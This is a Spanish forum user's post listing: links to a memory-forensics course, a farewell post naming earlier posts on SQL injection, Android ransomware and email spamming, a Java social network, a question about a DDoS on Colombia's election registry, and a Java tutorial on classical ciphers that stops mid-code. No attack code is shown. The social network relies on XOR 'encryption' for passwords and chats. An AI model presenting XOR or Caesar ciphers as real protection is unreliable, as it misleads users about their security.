Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - user_en1gm4

#1
En este taller con altos contenidos prácticos, se enfocara en el estudio y aprendizaje de la técnica de análisis forense de evidencias (Memoria RAM) usando la herramienta VOLATILITY FRAMEWORK. A continuación los videos que componen este curso.


NOTA

--Videos Quedan disponibles de forma 100% gratuita hasta el 6 de Noviembre de 2018
--Se pueden descargar con esta herramienta APROVECHEN No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




CURSO




Video 1: Análisis forense de Memoria RAM- Conceptos Base: En este video obtendrás una introducción al curso de Análisis forense de memoria RAM con volatility Framework, donde se darán las pautas para iniciar el curso virtual, con conceptos base tales como: Ciclo del Análisis forense, que es el DUMP de memoria RAM, criterios a tener presente para la extracción y análisis de memoria RAM, entre otros.

Video1: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 2: Herramientas (tools) Dump y Análisis forense de Memoria RAM: En este video obtendrás información al respecto de la descarga, despliegue y uso de las herramientas más usadas para extracción (Dump) y análisis Forense de Memoria RAM, tales como FTK Imager y Volatility Framework.

Video2: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 3: DEMO práctico: Dump de Memoria RAM con FTK IMAGER: En este video realiza una demostración 100% práctica de una extracción (DUMP) de la memoria RAM  de un servidor Windows Server que ha sido previamente atacado.

Video3: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 4: DEMO práctico-Comandos Volatility Framework nivel perfiles: En este video realiza una demostración 100% práctica de comandos volatility framework, iniciando con los comandos de validaciones de imágenes forenses y-o perfiles de DUMP de memoria RAM.

Video4: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 5: DEMO práctico-Comandos Volatility Framework nivel Procesos parte 1: En este video realiza una demostración 100% práctica de comandos volatility framework a nivel de procesos, donde se usaran los comandos: pslist, pstree, psscan, psxview, privs y consoles. Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectado en un sistema informático.


Video5: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 6: DEMO práctico-Comandos Volatility Framework nivel Procesos parte 2: En este video realiza una demostración 100% práctica de comandos volatility framework a nivel de procesos, donde se usaran los comandos: cmdscan, consoles, handles y cmdline. Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Comandos importantes para la identificación de procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Video6: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 7: DEMO práctico-Comandos Volatility Framework nivel redes (Networking): En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel de Redes, donde se usaran los comandos: netscan, sockets, connectionsconns, connscan. Comandos importantes para la identificación de direcciones IP y puertos TCP pertenecientes a conexiones maliciosas y que están relacionados con procesos maliciosos que se han invadidos y-o infectados en un sistema informático, como un servidor Windows por ejemplo.

Video7: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 8: DEMO práctico-Comandos Volatility Framework nivel DLLs y DUMP archivos: En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel de dlls y extracción de archivos del dump de memoria RAM, donde se usaran los comandos: procdump, dlllist, dlldump, getsids. Comandos importantes para extraer del dump de memoria RAM archivos ejecutables y dlls relacionadas con procesos maliciosos, para posteriormente cargarlas a la url No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, y analizar los resultados, y así validar si en efecto son dlls y-o archivos ejecutables que contienen malware.


Video8: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video 9: DEMO práctico-Comandos Volatility Framework nivel Registro Windows y extracción de Hashes: En este video se realiza una demostración 100% práctica de comandos volatility framework a nivel del registro de Windows y extracción de hashes de contraseñas de Windows desde el Dump de  RAM, donde se usaran los comandos: hashdump, hivelist, hivescan. Comandos importantes para extraer del dump de memoria RAM información de usuarios, de contraseñas en formato Hash, y además de temas y procesos relacionados con el rol del registro de Windows respecto con el dump de memoria RAM.

Video9: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Video de Apoyo 1: DEMO Ataque Informático analizado con la herramienta Volatility Framework: En este video realiza una demostración 100% práctica del ataque informático realizado al Servidor Windows 2008 server Datacenter Edition. Este video sirve como metodología de aprendizaje, e insumo bibliográfico para que los estudiantes validen si los resultados del análisis de la memoria RAM con la Herramienta Volatility framework son acordes a los ataques realizados por el agresor informático. (Video de ataque informático del cual surgió el dump de memoria RAM llamado:memdump2018winsvr.mem)

Video: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Este curso de esta dictando en Colombia y quise compartirlos con ustedes, recuerden que es por tiempo limitado y ahi les deje las herramienta con la cual pueden descargarlos

EL CONOCIMIENTO ES LIBRE!
#2
Off Topic / No es una despedida es un hasta pronto!
Septiembre 10, 2018, 01:42:32 AM
Hola muchach@s!, hace mucho no escribo nada en el foro, llevaba tiempo sin entrar, creo que esta sera una de las ultimas veces que entrare al foro, estoy trabajando duro en cosas personales y es hora de hacer un stop al hacking y no esque no vuelva a tocar el tema,esque ya no me queda tiempo para investigar y compartir informacion como alguna vez lo hice, pienso volver algun dia, la verdad que genial pertenecer a esta comunidad no pense que fuera a aprender tanto, encerio ustedes son geniales, gracias por todo!



Aca les dejo mis post por si a alguno los necesita, entre ellos malware,spammers etc

SQL INYECTION CON GOOGLE DORKS
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

HACKING A PAGINAS WEB CON ACUTENIX Y UN POCO DE INGENIO
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

CREANDO UN RASONWARE PARA ANDROID DESDE 0
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

EMAIL SPAMMER
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

LABORATORIO SQL INYECTION
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

RED SOCIAL EN JAVA EE
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GENERADOR DE DICCIONARIOS PARA FUERZA BRUTA
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

TALLER DE CRIPTOGRAFIA
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




VUELVO Y LO DIGO, MUCHAS GRACIAS!, MIS RESPETOS A USTEDES, UN GRAN ABRAZO A TODOS LOS QUE HACEN PARTE DE ESTA COMUNIDAD, SU AMIGO EN1GM4.

#3
Hola comunidad, hoy les vengo a compartir un proyecto en el que trabaje hace un tiempo y quiero publicarlo en este foro

Se trata de una red social en java empresarial (ee), es algo simple pero funcional, se llama


X SOCIAL


se trata de un diseño funcional de una red social que nos va a permitir crear perfiles, chatear con amigos visualizar muros y crear publicaciones, obviamente sin algunas características de las redes sociales del mercado, tendrá un diseño simple y amigable
que podrá ser usado hasta por un niño.

PROYECTO PARA DESCARGAR POR MEGA: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



FUNCIONALIDADES


●Login, los usuarios contarán con un perfil para ingresar a la red social, con
usuario y contraseña.

● Chat con amigos, los usuarios podrán tener varias conversaciones con sus
amistades, el chat utiliza un cifrado XOR punto a punto, solo se descifran los mensajes en el Cliente.

● Solicitudes de amistad, podrán enviar solicitudes a personas las cuales se quiera
entablar una amistad.

● Visualización de perfil, el usuario podrá ver sus publicaciones su informaciónes, editar sus publicaciones.

● Editar información personal, se podrá cambiar la información dada al momento
de registrarse.

● Visualización publicaciones de amigos, se contará con un muro que muestre los
post de amigos del usuario.

● Hacer publicaciones de texto, se podrán publicar imágenes(todavia no) o texto plano
para que los amigos lo vean.

● Cifrado de contraseñas y mensajes

● comentarios a publicaciones de amigos y propias.

● Búsqueda de perfiles

UNA ACLARACION, NO ES ALGO MUY PROFESIONAL, SOLO SOY YO CON MIS GANAS DE APRENDER, TAL VEZ LE FALTEN MUCHAS COSAS PERO SE LE PODRIAN AGREGAR

Les dejo un documento, con el modelo entidad relacion, relacional, el diccionario de clases y todo bien bonito

Les voy a dejar unas capturas de como se ve la red social, les dejo un link con el source, el script de la base de datos, un documento con la explicacion del proyecto y el java doc, espero les sirva!




[

]


ASI SE VEN LAS CONVERSACION EN EL SERVIDOR, VIAJAN POR RED Y SE GUARDAN EN EL SERVIDOR CIFRADAS, SE PUEDE CAMBIAR EL METODO DE CIFRADO, EL METODO QUE UTILIZE FUE EL QUE ENSEÑE A HACER EN ESTE TALLER,EL CIFRADO XOR

TALLER: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



En la carpeta comprimida lib, estan las librerias que deben colocar dentro de la carpeta WebContent/WEB-INF/lib

Espero les sirva, aca les paso una foto de como quedaria su proyecto montado, con el controlador (ControldeUsuarios), el modelo mapeado directamente con eclipse y las vistas hechas con prime faces, el proyecto lo hize con el IDE eclipse con un servidor Tomcat 9, SI TIENEN ALGUN PROBLEMA ME PUEDEN ENVIAR UN MENSAJE O COMENTAR DIRECTAMENTE ACA!



aca les dejo una captura de todo, el controlador tiene mas de 1400 lineas, si editan algo recuerden que para que despues no les genere errores!, el codigo esta comentado si algo


SALUDOS Y UN GUSTO COMPARTIR!
#4
Hola muchach@s, les escribo porque quiero consultar co ustedes algo, hoy son las votacion en mi pais Colombia y como se ah presentado antes, siempre atacan la registraduria que es la institucion encargada de dar los boletines de las elecciones y todo lo relacion con esto, en este momento exactamente tienen aproximadamente de mil bots atacando la pagina de la registraduria de Colombia con el fin de saturarla y luego tratar de entrar a sus servidores!

Como podria ayudar a que esto no pase, no se como ayudar ya que no tengo acceso a los servidores, pero si ellos llegan a entrar podrias sabotear las elecciones que so muy importantes ya que como muchos saben se firmo el proceso de paz, las primeras elecciones sin guerrilla en Colombia, no quiero que saboteen las elecciones

¿QUE PODRIA HACER?  AGRADEZCO CUALQUIER COMENTARIO!

#5
Hola compañer@s, hoy quiero hacer este taller ya que me gusta mucho todo este tema y quisiera compartirles algo de lo que se, se trata de un taller de criptografia con algoritmos paso a paso hechos por mi, de diferentes tipos de cifrado empezando por los clasicos hasta llegar a los actuales (en algunos todavia estoy trabajando, los mas complejos), en este taller enseñare paso a paso como codear estos algoritmos con ejemplos graficos, ademas de diversas actividades para los mas curiosos y que quieran aprender de mas.


Sugerencia saber de java (los algoritmos seran codeados en este lenguaje) y algo de estructura de datos (arrays,matrices,listas,codigo ASCII), bueno sin mas que decirles voy a comenzar.

Aca voy a colocar todos los algoritmos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Quiero decir algo y esque en esto de la programacion hay muchas formas de hacer algo, esta es mi forma los algortimos no estan hechos por un programador profesional ni nada, soy un estudiante todavia pero me gusta mucho esto, asi que quise compartirlo.



TALLER DE CRIPTOGRAFIA



Empecemos definiendo que es, para que se utiliza la criptografia y sus objetivos:

-  CRIPTOGRAFIA

La palabra Criptografía proviene del griego "kryptos" que significa oculto, y "graphia", que significa escritura, y su definición según el dicccionario es "Arte de escribir con clave secreta o de un modo enigmático". La Criptografía es una técnica, o más bien un conjunto de técnicas, que originalmente tratan sobre la protección o el ocultamiento de la información frente a observadores no autorizados. Es parte de un campo de estudios que trata las comunicaciones secretas,  Estas técnicas se utilizan tanto en el arte como en la ciencia y en la tecnología. Por tanto, el único objetivo de la criptografía era conseguir la confidencialidad de los mensajes, para lo cual se diseñaban sistemas de cifrado y códigos.

La criptografia es algo muy antiguo, no es algo que nace con la informatica, si no que era usada miles de años antes por egipcios, romanos,tambien en la primera y segunda guerra mundial.

Aca les dejo una buena introduccion a la criptografia si quieren saber mas a fondo y un poco de su historia, les recomiendo que revisen los links que les dejo a lo largo del taller para complementar lo que aca esta escrito.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Wikipedia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



- OBJETIVOS DE LA CRIPTOGRAFIA

En la criptografia tenemos 3 objetivos principales, es lo que se quiere conseguir despues de aplicar alguna tecnica criptografica a alguna informacion o comunicacion


       
  • Confidencialidad:
  • Es decir, garantiza que la información sea accesible únicamente a personal autorizado.
  • Integridad:
  • Grantiza que la informacion no sea modificada y se mantanga tal cual se creo
  • Autentificacion:
Es decir proporciona mecanismos que permiten verificar la identidad del comunicador, osea que quien envia el mensaje o informacion se confirme que venga de el

Nota:
No me extendere tanto explicando todo esto ya que en los link que les deje esta toda esa informacion y aun mas(en google podrian buscar criptografia y saldrian millones de resultados), el fin de este taller es entender como funcionan las tecnicas y poder codearlos



- TIPOS DE CRIPTOGRAFIA



       
  • Criptografia Simetrica:
La criptografía simétrica solo utiliza una clave para cifrar y descifrar el mensaje, que tienen que conocer el emisor y el receptor previamente. Es la comunicación de las claves entre ambos sujetos el punto débil del sistema, ya que resulta más fácil interceptar una clave que se ha transmitido sin seguridad

   
  • Criptografia Asimetrica:
Un algoritmo de criptografía asimétrica utiliza dos claves para el envío de mensajes. Las dos claves pertenecen a la persona que recibe el mensaje. Se utiliza una clave para encriptar y otra para desencriptar. La clave que se emplea para cifrar se llama clave pública y se puede entregar a cualquier persona. (De hecho hay hasta servidores de claves públicas). La magia es que si el cifrado se ha hecho con una clave pública sólo podre desencriptar con una clave distinta de la primear asociada. Es decir: dos claves matemáticamente relacionadas de manera que lo que cifras con una solo lo puedes descifrar con la otra.

   
  • Criptografia Hibrida:
es un método criptográfico que usa tanto un cifrado simétrico como un asimétrico. Emplea el cifrado de clave pública para compartir una clave para el cifrado simétrico. El mensaje que se esté enviando en el momento, se cifra usando su propia clave privada, luego el mensaje cifrado se envía al destinatario. Ya que compartir una clave simétrica no es seguro, ésta es diferente para cada sesión.


Mas informacion
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Bueno muchachos ya despues de entender estos conceptos y de que estamos hablando vamos a empezar con algunos algoritmos de la criptografia clasica



- CRIPTOGRAFIA CLASICA

Son las tecnicas utilizadas antiguamente por romanos, egipcios y guerras que pasaron hace muchos años y no querian que sus mensajes fueran revelados, entre estas tecnicas se encuentran:

Cifrado Cesar

Segun Wikipedia:

En criptografía, el cifrado César, también conocido como cifrado por desplazamiento, código de César o desplazamiento de César, es una de las técnicas de cifrado más simples y más usadas. Es un tipo de cifrado por sustitución en el que una letra en el texto original es reemplazada por otra letra que se encuentra un número fijo de posiciones más adelante en el alfabeto. Por ejemplo, con un desplazamiento de 3, la A sería sustituida por la D (situada 3 lugares a la derecha de la A), la B sería reemplazada por la E, etc. Este método debe su nombre a Julio César, que lo usaba para comunicarse con sus generales.



Como se ve en la imagen solo se trata de correr un caracter 3 posiciones mas adelante, bueno y ahora si empezamos a codear:

Voy a crear una Clase  main que se llame CifradoCesar, luego creare un scanner para leer por medio del teclado y luego pedire el mensaje, de esta forma:

Código: java


public class CifradoCesar {

public static void main(String[] args) {
// TODO Auto-generated method stub

System.out.println("\t   ------------------");
System.out.println("\t  | *  CIFRADO CESAR * |");
System.out.println("\t   ------------------");

//Scanner
Scanner sc = new Scanner(System.in);


System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
}
}




Listo, ahora voy a crear una funcion que se llame Cifrar_Cesar y me reciba por parametros un mensaje que sera tipo String, esta funcion se encarga de convertir el mensaje en un array de caracteres (char) para luego por medio el codigo ascii obtener el numero del caracter y sumarle 3, por ejemplo la letra 'a' en codigo ascci sera el numero 97 y si a ese numero le sumamos 3,  97+3 = 100;
y 100 es el codigo ascii de la letra  'd' y como se ve en la imagen anterior se corre 3 letras, y de esta manera vamos a realizar el cifrado caracter por caracter y luego lo concatenamos a un String que sera nuestra salida de la funcion o cipher (texto ya cifrado)

Tabla de CODIGO ASCII: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: java


public static String Cifrar_Cesar(String mensaje){
//Texto a salir (cfrado)
String cipher = "";
//Posiciones a adelantar
int adelantar = 3;

//Convertimos el mansaje en un array de caracteres
char [] letras = mensaje.toCharArray();

//Vamos por cada caracter sumandole 3
for(int i=0;i<letras.length;i++){

// de esta manera obtenemos el codigo ascii del caracter  ((int) letras[i])
// luego a ese numero le sumamos 3 ( ((int) letras[i])+ adelantar)  <- quedaria asi
// y luego convertimos ese numero en la letra a la que hace
// referencia en el codigo ascii solo casteando el numero a (char)

cipher += (char)( ((int) letras[i])+ adelantar) ;
}

//Texto cifrado
return cipher;
}




Listo ya tenemos nuestra funcion que cifra, la podre a prueba cifrando el mensaje:  Alan Mathison Turing


Y nos dio como resultado: Dodq#Pdwklvrq#Wxulqj 
que si lo revisamos nos damos cuenta que si hace lo que esperabamos,
la letra A + 3posiciones = letra D, luego la letra 'l' + 3 posiciones = letra 'o' y asi sucesivamente, listo ya tenemos nuestra funcion de cifrar.


Bueno ahora necesitamos una funcion que coja el cipher(texto cifrado) y nos devuelva nuestro mensaje normal
Para esto creare una funcion que se llamara Descifrar_Cesar y me reciba por parametro un String que sera el cipher para luego hacer casi lo anterior de la funcion cifrar pero en vez de sumarle 3 al codigo ascii le voy a restar 3 para volverlo a la posicion normal, no la comentare tanto porque hace casi lo mismo que la anterior solo que no suma sino resta posiciones

Código: java


public static String Descifrar_Cesar(String cipher){

String mensaje = "";
//Posiciones a atrasar
int adelantar = 3;
//Caracteres del mensaje
char [] letras = cipher.toCharArray();
for(int i=0;i<letras.length;i++){
mensaje += (char)( ((int) letras[i])- adelantar) ;
}
return mensaje;
}


Listo ya tenemos nuestras dos funciones de cifrar y descifrar vamos a ponerlas a prueba!, en el main  pido un mensaje y lo mando a cifrar, luego ese mensaje cifrado lo mando a descifrar y nos debe mostrar nuestro texto cifrado y nuestro texto normal luego de pasar por estas funciones, quedaria algo asi:

Código: java


public class CifradoCesar {

public static void main(String[] args) {
// TODO Auto-generated method stub

System.out.println("\t   ------------------");
System.out.println("\t  | *  CIFRADO CESAR * |");
System.out.println("\t   ------------------");

//Scanner
Scanner sc = new Scanner(System.in);


System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();

System.out.println("\n-------------------------------");
String cipher =Cifrar_Cesar(mensaje);
System.out.println("Cifrado: "+cipher);

String descifrado = Descifrar_Cesar(cipher);
System.out.println("-------------------------------");
System.out.println("Descifrado: "+descifrado);
System.out.println("-------------------------------");

}



public static String Cifrar_Cesar(String mensaje){
//Texto a salir (cfrado)
String cipher = "";
//Posiciones a adelantar
int adelantar = 3;

//Convertimos el mansaje en un array de caracteres
char [] letras = mensaje.toCharArray();

//Vamos por cada caracter sumandole 3
for(int i=0;i<letras.length;i++){

// de esta manera obtenemos el codigo ascii del caracter
//  ((int) letras[i]) y luego a ese numero le sumamos 3
// ( ((int) letras[i])+ adelantar) <- quedaria asi
// y luego convertimos ese numero en la letra a la que hace
// referencia en el codigo ascii solo casteando el numero a (char)
cipher += (char)( ((int) letras[i])+ adelantar) ;
}
//Texto cifrado
return cipher;
}



public static String Descifrar_Cesar(String cipher){

String mensaje = "";
//Posiciones a atrasar
int adelantar = 3;
//Caracteres del mensaje
char [] letras = cipher.toCharArray();
for(int i=0;i<letras.length;i++){
mensaje += (char)( ((int) letras[i])- adelantar) ;
}
return mensaje;
}

}



y al ejecutarlo daria este resultado:


Listo ya tenemos nuestro algoritmo de Cifrado del Cesar!

EJERCICIO #1
Utilize el algoritmo para descifra este mensaje: r{>tzA-r??n-y|p|
Pero ahora en vez de correr solo 3 caracteres lo tendra que hacer corriendo 13 caracteres, igual para descifrar, suerte!




Cifrado Polibio

Se trata de un algoritmo trivial, donde cada letra del alfabeto es reemplazada por las coordenadas de su posición en un cuadrado. Es un caso particular de transposición mono-alfabética. osea tenemos una matriz llena de caracteres y vamos por cada caracter del mensaje y el cipher resultante seran las posiciones del caracter en la matriz

Link:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por ejemplo tenemos esta matriz llena de caracteres, (el abecedario)


Por ejemplo si queremos cifrar el texto HOLA en base a esta matriz lo que tendriamos que hacer seria ubicar la posicion de cada letra del mensaje , la letra H se encuentra en la fila 2 columna 3 entonces nuestro ciper seria 23 por ahora, luego vamos con la O que esta en la fila 3 - columna 4, nuestro cipher ahoa sera 23 33 y asi con todas las letras del mensaje en base a la posicion en que se encuentren en la matriz

HOLA = 23 34 31 11

Para que el mensaje sea correctamente cifrado, en la matriz se deben encontrar todos los caracteres que lo componten, osea en este ejemplo si nuestro mensaje hubiera llevado alguna numero no cifraria bien ya que en la matriz no hay ningun numero y asi, pero se puede hacer una matriz mas grande, para el algoritmo utilizare una de 7x7 para agregar los numeros y algunos signos

Listo sabiendo esto ahora empezaremos a codear:

Voy a crear una clase main llamada CifradoPolibio en la cual como anteriormente lo hicimos voy a pedir un mensaje:


Código: java



public class CifradoPolibio {

public static void main(String[] args) {

            System.out.println("\t   ---------------------");
System.out.println("\t  | *  CIFRADO POLIBIO * |");
System.out.println("\t   ---------------------");
Scanner sc = new Scanner(System.in);

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
        }
                  }



Bueno y como este tipo de cifrado requiere una matriz voy a crear la mia, que sera de 7*7 , contendre numeros y signos, quedaria algo asi:

Código: java


public class CifradoPolibio {

public static void main(String[] args) {
// TODO Auto-generated method stub



System.out.println("\t   ---------------------");
System.out.println("\t  | *  CIFRADO POLIBIO * |");
System.out.println("\t   ---------------------");
Scanner sc = new Scanner(System.in);

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();

                    char [][] matris = {{'a','b','c','d','e','f','g'},
{'h','i','j','k','l','m','n'},
{'ñ','o','p','q','r','s','t'},
{'u','v','w','x','y','z','1'},
{'2','3','4','5','6','7','8'},
{'9','0','_','-',' ','.',','},
{'$','#','%','&','+','*','/'}};
                    }
             }




Listo ya tenemos nuestra matriz y en base a esta todos nuestros mensajes se van a cifrar

Bueno ahora vamos a crear una funcion que se llame Cifrar_Polibio que nos reciba por parametro un String que sera nuestro mensaje y una matriz de caracteres char [][], y en base a estos datos cifrar


Código: java


public static String [] Cifrar_Polibio(String mensaje, char [][] matris ){

//Se crea un array de el tamaño del mensaje ingresado
String [] cipher = new String [mensaje.toCharArray().length];

//Se convierte el mensaje en un array de char
char [] msj =  mensaje.toCharArray();



//Va por todas las letras del mensaje
for(int h=0;h<msj.length;h++){

//Va por todas las filas y columnas de la matriz
//Hasta encontrar el caracter
for(int i=0;i<matris.length;i++){

for(int j=0;j<matris[1].length;j++){

//Si lo encuentra
if(matris[i][j]== msj[h]){

//Guarda en nuestro array cipher las posiciones
//de el caracter i para las filas y j para las columnas
cipher[h]=Integer.toString(i)+Integer.toString(j);

//sale del ciclo apenas lo encuentra
break;
}
}
}
// Va imprimiendo el cipher (mensaje ya cifrado)
System.out.print(cipher[h]+" ");
}
//Retorna el cipher
return cipher;

}



y listo ya tendremos nuestra funcion que cifra, ahora haremos el paso inverso, vamos a cojer el cipher(texto cifrado) y como en este estan las posiciones de el caracter del mensaje en la matriz solo seria ir a la matriz y buscar en esa posicion y alla esta la letra a la que corresponde, vamos a crear una funcion que nos haga esto, la funcion recibe un cipher (texto cifrado), que sera un array de char, el mismo que la funcion cifrar retorna y una matriz de caracteres como parametros:

Código: java


public static String Descifrar_Polibio(String [] cipher,char [][] matris){

//Un array con la direccion de el caracter [fila][columna]
char [] direccion;
String mensaje ="";
//
//Vamos por todas las posiciones del cipher
for(int i=0;i<cipher.length;i++){

//Convertimos la direccion en un array de char
direccion = cipher[i].toCharArray();

// sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
//buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal

mensaje+=matris[Character.getNumericValue( direccion[0])][Character.getNumericValue(direccion[1])];

}
//Imprime el mensaje ya descifrado
System.out.println(mensaje);

//Retorna el mensaje
return mensaje;
}



Y listo ya tendriamos nuestras dos funciones listas, mandamos a cifrar y descifrar en el main y nos quedari algo asi:
(no olviden que en java las posiciones empiezan en 0, ademas de esto cree una funcion imprimir para ver la matriz

Código: java

import java.util.Scanner;

public class CifradoPolibio {

public static void main(String[] args) {
// TODO Auto-generated method stub

char [][] matris = {{'a','b','c','d','e','f','g'},
{'h','i','j','k','l','m','n'},
{'ñ','o','p','q','r','s','t'},
{'u','v','w','x','y','z','1'},
{'2','3','4','5','6','7','8'},
{'9','0','_','-',' ','.',','},
{'$','#','%','&','+','*','/'}};

System.out.println("\t   ---------------------");
System.out.println("\t  | *  CIFRADO POLIBIO * |");
System.out.println("\t   ---------------------");
Scanner sc = new Scanner(System.in);

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
System.out.println("\nMatriz");
Imprimir(matris);
System.out.print("\nCifrado: ");
String [] cipher = Cifrar_Polibio(mensaje,matris);
sc.close();
System.out.print("\nDescifrado: ");
String msj = Descifrar_Polibio(cipher,matris);



}

public static void Imprimir(char [][] matris){
for(int i=0;i<matris.length;i++){

for(int j=0;j<matris[i].length;j++){

System.out.print(matris[i][j]+" ");
}
System.out.println("");
}
}

public static String [] Cifrar_Polibio(String mensaje, char [][] matris ){

//Se crea un array de el tamaño del mensaje ingresado
String [] cipher = new String [mensaje.toCharArray().length];

//Se convierte el mensaje en un array de char
char [] msj =  mensaje.toCharArray();



//Va por todas las letras del mensaje
for(int h=0;h<msj.length;h++){

//Va por todas las filas y columnas de la matriz
//Hasta encontrar el caracter
for(int i=0;i<matris.length;i++){

for(int j=0;j<matris[1].length;j++){

//Si lo encuentra
if(matris[i][j]== msj[h]){

//Guarda en nuestro array cipher las posiciones
//de el caracter i para las filas y j para las columnas
cipher[h]=Integer.toString(i)+Integer.toString(j);

//sale del ciclo apenas lo encuentra
break;
}
}
}
// Va imprimiendo el cipher (mensaje ya cifrado)
System.out.print(cipher[h]+" ");
}
//Retorna el cipher
return cipher;

}

public static String Descifrar_Polibio(String [] cipher,char [][] matris){

//Un array con la direccion de el caracter [fila][columna]
char [] direccion;
String mensaje ="";
//
//Vamos por todas las posiciones del cipher
for(int i=0;i<cipher.length;i++){
//Convertimos la direccion en un array de char
direccion = cipher[i].toCharArray();

// sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
//buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal

mensaje+=matris[Character.getNumericValue( direccion[0])][Character.getNumericValue(direccion[1])];

}
//Imprime el mensaje ya descifrado
System.out.println(mensaje);

//Retorna el mensaje
return mensaje;
}

}




Vamos a utilizarlo cifrando el mensaje: en1gm4 programa
(recuerden que los caracteres del mensaje deben estar en la matriz si no nunca encontrar la posicion y nos generara error)


nos da como cipher: 04 16 36 06 15 42 54 22 24 21 06 24 00 15 00
y si revisamos la posicion: fila 0 columna 4 = e , y si lo hacemos con todo el cipher nos daremos cuenta que si hace lo que queriamos, listo!

EJERCICIO #2
Utilize el algoritmo para descifra este mensaje:
00 14 06 30 16 54 03 11 00 54 04 16 02 21 16 26 24 00 24 00 25 54 14 21 25 54 23 30 04 54 01 30 25 02 00 25

En base a la matriz que se ve anteriormente en el programa, a mano!




Cifrado Playfair

Les dejare un video para que entiendan este tipo de cifrado ya que graficamente se entiende mucho mejor que si me pongo a copiar aca toda la teoria, necesito que entiendan bien como funciona para luego empezar a codearlo

Videos





Basicamente el cifrado consiste en una matriz con la que se cifra, la matriz se genera en base a la clave ya que esta se escribe en la matriz sin caracteres repetidos y luego si se termina de llenar la matriz con el resto de caracteres del abecedario sin repetir, numeros y signos si se desea

Se parte el mensaje en parejas por ejemplo HOLA quedaria HO LA y asi con todo el mensaje, luego ubicamos las dos letras en la matriz y miramos:

- Si estan en la misma fila se le suma una posicion a la columna de cada letra
- Si estan en la misma Columna se le suma una posicion a la fila de cada letra
-Si no estan ni en la misma Columna ni en la misma fila, se coloca su diagonal opuesta


Y listo sabiendo como funciona este cifrado vamos a empezar, primero voy a crear una clase main llamada CifradoPlayfair y hare lo mismo de siempre pedire un mensaje pero ahora tambien necesitaremos una clave asi que tambien la pediremos, seria algo asi:


Código: java

public class CifradoPlayfair {


public static void main(String[] args) {
// TODO Auto-generated method stub


System.out.println("\t   ---------------------");
System.out.println("\t  | *  CIFRADO PLAYFAIR * |");
System.out.println("\t   ---------------------");
Scanner sc = new Scanner(System.in);

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
System.out.println("Ingrese la Clave:  ");
String clave  = sc.nextLine();
                                   }
            }


Bueno ya teniendo estos datos ahora voy a crear una funciona que se llame Cifrado_Playfair que recibe como parametro el mensaje y la clave, bueno antes de concentrarnos en esta funcion tambien eh creado unas funciones auxiliares que me ayudan a generar la matris y a generar las parejas de caracteres del mensaje

Con esta funcion genero la matriz en base a la clave:

Código: java

public static char [][] GenerarMatriz (String clave){
char [][] matris = new char [7][7];

char [] caracteresClave = clave.toCharArray();
char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
char [] letras = new char [26];
char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();



//Eliminamos las letras repetidas de a clave
//Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris

for(int k=0;k<caracteresClave.length;k++){
caracteresMatriz.add(caracteresClave[k]);
}

//Se generan las letras del abecedario en base al codigo ASCII
for(int i=97;i<123;i++){
letras[i-97] = (char)i;
}



//Se ingresa el resto del abecedario
for(int i=0;i<letras.length;i++){
caracteresMatriz.add(letras[i]);
}

//Se ingresan los numeros
for(int i=0;i<numeros.length;i++){
caracteresMatriz.add(numeros[i]);
}

//Se ingresan los signos
for(int i=0;i<signos.length;i++){
caracteresMatriz.add(signos[i]);
}

//Se convierte el linkedhashSet en un array para luego meterlo en la matriz
int cont;
char [] arrayTemporal = new char [caracteresMatriz.size()];
cont=0;
for(char caracter:caracteresMatriz){
